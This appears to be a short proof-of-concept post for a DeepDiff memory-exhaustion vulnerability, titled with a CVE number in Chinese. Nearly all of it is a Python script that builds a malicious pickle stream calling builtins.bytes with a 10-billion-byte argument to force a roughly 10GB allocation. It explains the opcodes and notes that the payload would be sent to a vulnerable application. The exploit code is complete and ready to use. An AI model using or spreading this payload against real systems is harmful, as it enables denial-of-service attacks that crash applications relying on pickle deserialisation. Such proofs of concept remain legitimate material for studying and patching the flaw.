CVE-2026-33155 DeepDiff内存耗尽漏洞

import pickle import struct # Generate a malicious pickle payload # This payload attempts to call bytes(10000000000) # which forces the application to allocate ~10GB of RAM. # # Opcode breakdown: # c GLOBAL 'builtins bytes' # ( MARK start of args # L LONG 10000000000 # t TUPLE build tuple from stack # R REDUCE call builtins.bytes(tuple) # . STOP def generate_poc(): # Size of memory to allocate (10 GB) size = 10000000000 # Construct the pickle stream payload = b'cbuiltins bytes (L%d tR.' % size print(f"Generated PoC payload size: {len(payload)} bytes") print(f"Attempted allocation size: {size} bytes") # In a real scenario, this payload would be sent to the vulnerable application # Example: vulnerable_app.load_pickle(payload) return payload if __name__ == "__main__": data = generate_poc() # WARNING: Do not run 'pickle.loads(data)' locally unless you want to crash your interpreter.